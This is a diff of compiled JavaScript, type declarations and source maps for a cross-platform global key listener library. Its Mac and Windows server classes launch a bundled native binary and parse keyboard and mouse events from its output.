+ import { IGlobalKeyListenerRaw } from "./_types/IGlobalKeyListenerRaw";
4
+ import { IGlobalKeyEvent } from "./_types/IGlobalKeyEvent";
5
+ import { IMacConfig } from "./_types/IMacConfig";
6
+ /** Use this class to listen to key events on Mac OS */
7
+ export declare class MacKeyServer implements IGlobalKeyServer {
8
+ protected listener: IGlobalKeyListenerRaw;
9
+ private proc;
10
+ private config;
11
+ private running;
12
+ private restarting;
13
+ /**
14
+ * Creates a new key server for mac
15
+ * @param listener The callback to report key events to
16
+ * @param config Additional optional configuration for the server
17
+ */
18
+ constructor(listener: IGlobalKeyListenerRaw, config?: IMacConfig);
19
+ /**
20
+ * Start the Key server and listen for keypresses
21
+ * @param skipPerms Whether to skip attempting to add permissions
22
+ */
23
+ start(skipPerms?: boolean): Promise<void>;
24
+ /**
25
+ * Deals with the startup process of the server, possibly adding perms if required and restarting
26
+ * @param skipPerms Whether to skip attempting to add permissions
27
+ */
28
+ protected handleStartup(skipPerms: boolean): Promise<void>;
29
+ /**
30
+ * Makes sure that the given path is executable
31
+ * @param path The path to add the perms to
32
+ */
33
+ protected addPerms(path: string): Promise<void>;
34
+ /** Stop the Key server */
35
+ stop(): void;
36
+ /**
37
+ * Obtains a IGlobalKeyEvent from stdout buffer data
38
+ * @param data Data from stdout
39
+ * @returns The standardized key event data
40
+ */
41
+ protected _getEventData(data: Buffer): {
42
+ event: IGlobalKeyEvent;
43
+ eventId: string;
44
+ }[];
45
+ }
46
+ //# sourceMappingURL=MacKeyServer.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"MacKeyServer.d.ts","sourceRoot":"","sources":["../../src/ts/MacKeyServer.ts"],"names":[],"mappings":";AAAA,OAAO,EAAC,gBAAgB,EAAC,MAAM,2BAA2B,CAAC;AAE3D,OAAO,EAAC,qBAAqB,EAAC,MAAM,gCAAgC,CAAC;AACrE,OAAO,EAAC,eAAe,EAAC,MAAM,0BAA0B,CAAC;AAGzD,OAAO,EAAC,UAAU,EAAC,MAAM,qBAAqB,CAAC;AAK/C,uDAAuD;AACvD,qBAAa,YAAa,YAAW,gBAAgB;IACjD,SAAS,CAAC,QAAQ,EAAE,qBAAqB,CAAC;IAC1C,OAAO,CAAC,IAAI,CAAe;IAC3B,OAAO,CAAC,MAAM,CAAa;IAE3B,OAAO,CAAC,OAAO,CAAS;IACxB,OAAO,CAAC,UAAU,CAAS;IAE3B;;;;OAIG;gBACS,QAAQ,EAAE,qBAAqB,EAAE,MAAM,GAAE,UAAe;IAKpE;;;OAGG;IACI,KAAK,CAAC,SAAS,CAAC,EAAE,OAAO,GAAG,OAAO,CAAC,IAAI,CAAC;IA0BhD;;;OAGG;IACH,SAAS,CAAC,aAAa,CAAC,SAAS,EAAE,OAAO,GAAG,OAAO,CAAC,IAAI,CAAC;IAwC1D;;;OAGG;IACH,SAAS,CAAC,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAmB/C,0BAA0B;IACnB,IAAI;IAMX;;;;OAIG;IACH,SAAS,CAAC,aAAa,CAAC,IAAI,EAAE,MAAM,GAAG;QAAC,KAAK,EAAE,eAAe,CAAC;QAAC,OAAO,EAAE,MAAM,CAAA;KAAC,EAAE;CAuCrF"}
@@ -0,0 +1,156 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.MacKeyServer = void 0;
7
+ const child_process_1 = require("child_process");
8
+ const MacGlobalKeyLookup_1 = require("./_data/MacGlobalKeyLookup");
9
+ const path_1 = __importDefault(require("path"));
10
+ const sudo_prompt_1 = __importDefault(require("sudo-prompt"));
11
+ const isSpawnEventSupported_1 = require("./isSpawnEventSupported");
12
+ const sPath = "../../bin/MacKeyServer";
13
+ /** Use this class to listen to key events on Mac OS */
14
+ class MacKeyServer {
15
+ /**
16
+ * Creates a new key server for mac
17
+ * @param listener The callback to report key events to
18
+ * @param config Additional optional configuration for the server
19
+ */
20
+ constructor(listener, config = {}) {
21
+ this.running = false;
22
+ this.restarting = false;
23
+ this.listener = listener;
24
+ this.config = config;
25
+ }
26
+ /**
27
+ * Start the Key server and listen for keypresses
28
+ * @param skipPerms Whether to skip attempting to add permissions
29
+ */
30
+ start(skipPerms) {
31
+ this.running = true;
32
+ const serverPath = this.config.serverPath || path_1.default.join(__dirname, sPath);
33
+ this.proc = child_process_1.execFile(serverPath);
34
+ if (this.config.onInfo)
35
+ this.proc.stderr.on("data", data => { var _a, _b; return (_b = (_a = this.config).onInfo) === null || _b === void 0 ? void 0 : _b.call(_a, data.toString()); });
36
+ const onError = this.config.onError;
37
+ if (onError)
38
+ this.proc.on("close", code => {
39
+ if (!this.restarting && this.running)
40
+ onError(code);
41
+ });
42
+ this.proc.stdout.on("data", data => {
43
+ const events = this._getEventData(data);
44
+ for (let { event, eventId } of events) {
45
+ const stopPropagation = !!this.listener(event);
46
+ this.proc.stdin.write(`${stopPropagation ? "1" : "0"},${eventId}\n`);
47
+ }
48
+ });
49
+ return this.handleStartup(skipPerms !== null && skipPerms !== void 0 ? skipPerms : false);
50
+ }
51
+ /**
52
+ * Deals with the startup process of the server, possibly adding perms if required and restarting
53
+ * @param skipPerms Whether to skip attempting to add permissions
54
+ */
55
+ handleStartup(skipPerms) {
56
+ return new Promise((res, rej) => {
57
+ let errored = false;
58
+ const serverPath = this.config.serverPath || path_1.default.join(__dirname, sPath);
59
+ // If setup fails, try adding permissions
60
+ this.proc.on("error", async (err) => {
61
+ errored = true;
62
+ if (skipPerms) {
63
+ rej(err);
64
+ }
65
+ else {
66
+ try {
67
+ this.restarting = true;
68
+ this.proc.kill();
69
+ await this.addPerms(serverPath);
70
+ // If the server was stopped in between, just act as if it was started successfully
71
+ if (!this.running) {
72
+ res();
73
+ return;
74
+ }
75
+ res(this.start(true));
76
+ }
77
+ catch (e) {
78
+ rej(e);
79
+ }
80
+ finally {
81
+ this.restarting = false;
82
+ }
83
+ }
84
+ });
85
+ if (isSpawnEventSupported_1.isSpawnEventSupported())
86
+ this.proc.on("spawn", res);
87
+ // A timed fallback if the spawn event is not supported
88
+ else
89
+ setTimeout(() => {
90
+ if (!errored)
91
+ res();
92
+ }, 200);
93
+ });
94
+ }
95
+ /**
96
+ * Makes sure that the given path is executable
97
+ * @param path The path to add the perms to
98
+ */
99
+ addPerms(path) {
100
+ const options = {
101
+ name: "Global key listener",
102
+ };
103
+ return new Promise((res, err) => {
104
+ sudo_prompt_1.default.exec(`chmod +x "${path}"`, options, (error, stdout, stderr) => {
105
+ if (error) {
106
+ err(error);
107
+ return;
108
+ }
109
+ if (stderr) {
110
+ err(stderr);
111
+ return;
112
+ }
113
+ res();
114
+ });
115
+ });
116
+ }
117
+ /** Stop the Key server */
118
+ stop() {
119
+ this.running = false;
120
+ this.proc.stdout.pause();
121
+ this.proc.kill();
122
+ }
123
+ /**
124
+ * Obtains a IGlobalKeyEvent from stdout buffer data
125
+ * @param data Data from stdout
126
+ * @returns The standardized key event data
127
+ */
128
+ _getEventData(data) {
129
+ const sData = data.toString();
130
+ const lines = sData.trim().split(/\n/);
131
+ return lines.map(line => {
132
+ const lineData = line.replace(/\s+/, "");
133
+ const [mouseKeyboard, downUp, sKeyCode, sLocationX, sLocationY, eventId,] = lineData.split(",");
134
+ const isMouse = mouseKeyboard === 'MOUSE';
135
+ const isDown = downUp === 'DOWN';
136
+ const keyCode = Number.parseInt(sKeyCode, 10);
137
+ const locationX = Number.parseFloat(sLocationX);
138
+ const locationY = Number.parseFloat(sLocationY);
139
+ const key = MacGlobalKeyLookup_1.MacGlobalKeyLookup[isMouse ? (0xFFFF0000 + keyCode) : keyCode];
140
+ return {
141
+ event: {
142
+ vKey: keyCode,
143
+ rawKey: key,
144
+ name: key === null || key === void 0 ? void 0 : key.standardName,
145
+ state: isDown ? "DOWN" : "UP",
146
+ scanCode: keyCode,
147
+ location: [locationX, locationY],
148
+ _raw: sData,
149
+ },
150
+ eventId,
151
+ };
152
+ });
153
+ }
154
+ }
155
+ exports.MacKeyServer = MacKeyServer;
156
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiTWFjS2V5U2VydmVyLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vc3JjL3RzL01hY0tleVNlcnZlci50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7QUFDQSxpREFBcUQ7QUFHckQsbUVBQThEO0FBQzlELGdEQUF3QjtBQUV4Qiw4REFBK0I7QUFDL0IsbUVBQThEO0FBQzlELE1BQU0sS0FBSyxHQUFHLHdCQUF3QixDQUFDO0FBRXZDLHVEQUF1RDtBQUN2RCxNQUFhLFlBQVk7SUFRckI7Ozs7T0FJRztJQUNILFlBQVksUUFBK0IsRUFBRSxTQUFxQixFQUFFO1FBUjVELFlBQU8sR0FBRyxLQUFLLENBQUM7UUFDaEIsZUFBVSxHQUFHLEtBQUssQ0FBQztRQVF2QixJQUFJLENBQUMsUUFBUSxHQUFHLFFBQVEsQ0FBQztRQUN6QixJQUFJLENBQUMsTUFBTSxHQUFHLE1BQU0sQ0FBQztJQUN6QixDQUFDO0lBRUQ7OztPQUdHO0lBQ0ksS0FBSyxDQUFDLFNBQW1CO1FBQzVCLElBQUksQ0FBQyxPQUFPLEdBQUcsSUFBSSxDQUFDO1FBRXBCLE1BQU0sVUFBVSxHQUFHLElBQUksQ0FBQyxNQUFNLENBQUMsVUFBVSxJQUFJLGNBQUksQ0FBQyxJQUFJLENBQUMsU0FBUyxFQUFFLEtBQUssQ0FBQyxDQUFDO1FBRXpFLElBQUksQ0FBQyxJQUFJLEdBQUcsd0JBQVEsQ0FBQyxVQUFVLENBQUMsQ0FBQztRQUNqQyxJQUFJLElBQUksQ0FBQyxNQUFNLENBQUMsTUFBTTtZQUNsQixJQUFJLENBQUMsSUFBSSxDQUFDLE1BQU8sQ0FBQyxFQUFFLENBQUMsTUFBTSxFQUFFLElBQUksQ0FBQyxFQUFFLGVBQUMsT0FBQSxNQUFBLE1BQUEsSUFBSSxDQUFDLE1BQU0sRUFBQyxNQUFNLG1EQUFHLElBQUksQ0FBQyxRQUFRLEVBQUUsQ0FBQyxDQUFBLEVBQUEsQ0FBQyxDQUFDO1FBQ2hGLE1BQU0sT0FBTyxHQUFHLElBQUksQ0FBQyxNQUFNLENBQUMsT0FBTyxD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
@@ -0,0 +1,30 @@
1
+ import { IGlobalKeyServer } from "./_types/IGlobalKeyServer";
2
+ import { IGlobalKeyEvent } from "./_types/IGlobalKeyEvent";
3
+ import { IGlobalKeyListenerRaw } from "./_types/IGlobalKeyListenerRaw";
4
+ import { IWindowsConfig } from "./_types/IWindowsConfig";
5
+ /** Use this class to listen to key events on Windows OS */
6
+ export declare class WinKeyServer implements IGlobalKeyServer {
7
+ protected listener: IGlobalKeyListenerRaw;
8
+ private proc;
9
+ protected config: IWindowsConfig;
10
+ /**
11
+ * Creates a new key server for windows
12
+ * @param listener The callback to report key events to
13
+ * @param windowsConfig The optional windows configuration
14
+ */
15
+ constructor(listener: IGlobalKeyListenerRaw, config?: IWindowsConfig);
16
+ /** Start the Key server and listen for keypresses */
17
+ start(): Promise<void>;
18
+ /** Stop the Key server */
19
+ stop(): void;
20
+ /**
21
+ * Obtains a IGlobalKeyEvent from stdout buffer data
22
+ * @param data Data from stdout
23
+ * @returns The standardized key event data
24
+ */
25
+ protected _getEventData(data: any): {
26
+ event: IGlobalKeyEvent;
27
+ eventId: string;
28
+ }[];
29
+ }
30
+ //# sourceMappingURL=WinKeyServer.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"WinKeyServer.d.ts","sourceRoot":"","sources":["../../src/ts/WinKeyServer.ts"],"names":[],"mappings":"AAAA,OAAO,EAAC,gBAAgB,EAAC,MAAM,2BAA2B,CAAC;AAE3D,OAAO,EAAC,eAAe,EAAC,MAAM,0BAA0B,CAAC;AACzD,OAAO,EAAC,qBAAqB,EAAC,MAAM,gCAAgC,CAAC;AAGrE,OAAO,EAAC,cAAc,EAAC,MAAM,yBAAyB,CAAC;AAIvD,2DAA2D;AAC3D,qBAAa,YAAa,YAAW,gBAAgB;IACjD,SAAS,CAAC,QAAQ,EAAE,qBAAqB,CAAC;IAC1C,OAAO,CAAC,IAAI,CAAe;IAE3B,SAAS,CAAC,MAAM,EAAE,cAAc,CAAC;IAEjC;;;;OAIG;gBACgB,QAAQ,EAAE,qBAAqB,EAAE,MAAM,GAAE,cAAmB;IAK/E,qDAAqD;IACxC,KAAK;IAyBlB,0BAA0B;IACnB,IAAI;IAKX;;;;OAIG;IACH,SAAS,CAAC,aAAa,CAAC,IAAI,EAAE,GAAG,GAAG;QAAC,KAAK,EAAE,eAAe,CAAC;QAAC,OAAO,EAAE,MAAM,CAAA;KAAC,EAAE;CAwClF"}
@@ -0,0 +1,88 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.WinKeyServer = void 0;
7
+ const child_process_1 = require("child_process");
8
+ const WinGlobalKeyLookup_1 = require("./_data/WinGlobalKeyLookup");
9
+ const path_1 = __importDefault(require("path"));
10
+ const isSpawnEventSupported_1 = require("./isSpawnEventSupported");
11
+ const sPath = "../../bin/WinKeyServer.exe";
12
+ /** Use this class to listen to key events on Windows OS */
13
+ class WinKeyServer {
14
+ /**
15
+ * Creates a new key server for windows
16
+ * @param listener The callback to report key events to
17
+ * @param windowsConfig The optional windows configuration
18
+ */
19
+ constructor(listener, config = {}) {
20
+ this.listener = listener;
21
+ this.config = config;
22
+ }
23
+ /** Start the Key server and listen for keypresses */
24
+ async start() {
25
+ var _a, _b;
26
+ const serverPath = this.config.serverPath || path_1.default.join(__dirname, sPath);
27
+ this.proc = child_process_1.execFile(serverPath, { maxBuffer: Infinity });
28
+ if (this.config.onInfo)
29
+ (_a = this.proc.stderr) === null || _a === void 0 ? void 0 : _a.on("data", data => { var _a, _b; return (_b = (_a = this.config).onInfo) === null || _b === void 0 ? void 0 : _b.call(_a, data.toString()); });
30
+ if (this.config.onError)
31
+ this.proc.on("close", this.config.onError);
32
+ (_b = this.proc.stdout) === null || _b === void 0 ? void 0 : _b.on("data", data => {
33
+ var _a;
34
+ const events = this._getEventData(data);
35
+ for (let { event, eventId } of events) {
36
+ const stopPropagation = !!this.listener(event);
37
+ (_a = this.proc.stdin) === null || _a === void 0 ? void 0 : _a.write(`${stopPropagation ? "1" : "0"},${eventId}\n`);
38
+ }
39
+ });
40
+ return new Promise((res, err) => {
41
+ this.proc.on("error", err);
42
+ if (isSpawnEventSupported_1.isSpawnEventSupported())
43
+ this.proc.on("spawn", res);
44
+ // A timed fallback if the spawn event is not supported
45
+ else
46
+ setTimeout(res, 200);
47
+ });
48
+ }
49
+ /** Stop the Key server */
50
+ stop() {
51
+ var _a;
52
+ (_a = this.proc.stdout) === null || _a === void 0 ? void 0 : _a.pause();
53
+ this.proc.kill();
54
+ }
55
+ /**
56
+ * Obtains a IGlobalKeyEvent from stdout buffer data
57
+ * @param data Data from stdout
58
+ * @returns The standardized key event data
59
+ */
60
+ _getEventData(data) {
61
+ const sData = data.toString();
62
+ const lines = sData.trim().split(/\n/);
63
+ return lines.map(line => {
64
+ const lineData = line.replace(/\s+/, "");
65
+ const [_mouseKeyboard, downUp, sKeyCode, sScanCode, sLocationX, sLocationY, eventId,] = lineData.split(",");
66
+ const isDown = downUp === 'DOWN';
67
+ const keyCode = Number.parseInt(sKeyCode, 10);
68
+ const scanCode = Number.parseInt(sScanCode, 10);
69
+ const locationX = Number.parseFloat(sLocationX);
70
+ const locationY = Number.parseFloat(sLocationY);
71
+ const key = WinGlobalKeyLookup_1.WinGlobalKeyLookup[keyCode];
72
+ return {
73
+ event: {
74
+ vKey: keyCode,
75
+ rawKey: key,
76
+ name: key === null || key === void 0 ? void 0 : key.standardName,
77
+ state: isDown ? "DOWN" : "UP",
78
+ scanCode: scanCode,
79
+ location: [locationX, locationY],
80
+ _raw: sData,
81
+ },
82
+ eventId,
83
+ };
84
+ });
85
+ }
86
+ }
87
+ exports.WinKeyServer = WinKeyServer;
88
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiV2luS2V5U2VydmVyLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vc3JjL3RzL1dpbktleVNlcnZlci50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7QUFDQSxpREFBcUQ7QUFHckQsbUVBQThEO0FBQzlELGdEQUF3QjtBQUV4QixtRUFBOEQ7QUFDOUQsTUFBTSxLQUFLLEdBQUcsNEJBQTRCLENBQUM7QUFFM0MsMkRBQTJEO0FBQzNELE1BQWEsWUFBWTtJQU1yQjs7OztPQUlHO0lBQ0gsWUFBbUIsUUFBK0IsRUFBRSxTQUF5QixFQUFFO1FBQzNFLElBQUksQ0FBQyxRQUFRLEdBQUcsUUFBUSxDQUFDO1FBQ3pCLElBQUksQ0FBQyxNQUFNLEdBQUcsTUFBTSxDQUFDO0lBQ3pCLENBQUM7SUFFRCxxREFBcUQ7SUFDOUMsS0FBSyxDQUFDLEtBQUs7O1FBQ2QsTUFBTSxVQUFVLEdBQUcsSUFBSSxDQUFDLE1BQU0sQ0FBQyxVQUFVLElBQUksY0FBSSxDQUFDLElBQUksQ0FBQyxTQUFTLEVBQUUsS0FBSyxDQUFDLENBQUM7UUFDekUsSUFBSSxDQUFDLElBQUksR0FBRyx3QkFBUSxDQUFDLFVBQVUsRUFBRSxFQUFFLFNBQVMsRUFBRSxRQUFRLEVBQUUsQ0FBQyxDQUFDO1FBQzFELElBQUksSUFBSSxDQUFDLE1BQU0sQ0FBQyxNQUFNO1lBQ2xCLE1BQUEsSUFBSSxDQUFDLElBQUksQ0FBQyxNQUFNLDBDQUFFLEVBQUUsQ0FBQyxNQUFNLEVBQUUsSUFBSSxDQUFDLEVBQUUsZUFBQyxPQUFBLE1BQUEsTUFBQSxJQUFJLENBQUMsTUFBTSxFQUFDLE1BQU0sbURBQUcsSUFBSSxDQUFDLFFBQVEsRUFBRSxDQUFDLENBQUEsRUFBQSxDQUFDLENBQUM7UUFDaEYsSUFBSSxJQUFJLENBQUMsTUFBTSxDQUFDLE9BQU87WUFBRSxJQUFJLENBQUMsSUFBSSxDQUFDLEVBQUUsQ0FBQyxPQUFPLEVBQUUsSUFBSSxDQUFDLE1BQU0sQ0FBQyxPQUFPLENBQUMsQ0FBQztRQUVwRSxNQUFBLElBQUksQ0FBQyxJQUFJLENBQUMsTUFBTSwwQ0FBRSxFQUFFLENBQUMsTUFBTSxFQUFFLElBQUksQ0FBQyxFQUFFOztZQUNoQyxNQUFNLE1BQU0sR0FBRyxJQUFJLENBQUMsYUFBYSxDQUFDLElBQUksQ0FBQyxDQUFDO1lBQ3hDLEtBQUssSUFBSSxFQUFDLEtBQUssRUFBRSxPQUFPLEVBQUMsSUFBSSxNQUFNLEVBQUU7Z0JBQ2pDLE1BQU0sZUFBZSxHQUFHLENBQUMsQ0FBQyxJQUFJLENBQUMsUUFBUSxDQUFDLEtBQUssQ0FBQyxDQUFDO2dCQUUvQyxNQUFBLElBQUksQ0FBQyxJQUFJLENBQUMsS0FBSywwQ0FBRSxLQUFLLENBQUMsR0FBRyxlQUFlLENBQUMsQ0FBQyxDQUFDLEdBQUcsQ0FBQyxDQUFDLENBQUMsR0FBRyxJQUFJLE9BQU8sSUFBSSxDQUFDLENBQUM7YUFDekU7UUFDTCxDQUFDLENBQUMsQ0FBQztRQUVILE9BQU8sSUFBSSxPQUFPLENBQU8sQ0FBQyxHQUFHLEVBQUUsR0FBRyxFQUFFLEVBQUU7WUFDbEMsSUFBSSxDQUFDLElBQUksQ0FBQyxFQUFFLENBQUMsT0FBTyxFQUFFLEdBQUcsQ0FBQyxDQUFDO1lBRTNCLElBQUksNkNBQXFCLEVBQUU7Z0JBQUUsSUFBSSxDQUFDLElBQUksQ0FBQyxFQUFFLENBQUMsT0FBTyxFQUFFLEdBQUcsQ0FBQyxDQUFDO1lBQ3hELHVEQUF1RDs7Z0JBQ2xELFVBQVUsQ0FBQyxHQUFHLEVBQUUsR0FBRyxDQUFDLENBQUM7UUFDOUIsQ0FBQyxDQUFDLENBQUM7SUFDUCxDQUFDO0lBRUQsMEJBQTBCO0lBQ25CLElBQUk7O1FBQ1AsTUFBQSxJQUFJLENBQUMsSUFBSSxDQUFDLE1BQU0sMENBQUUsS0FBSyxFQUFFLENBQUM7UUFDMUIsSUFBSSxDQUFDLElBQUksQ0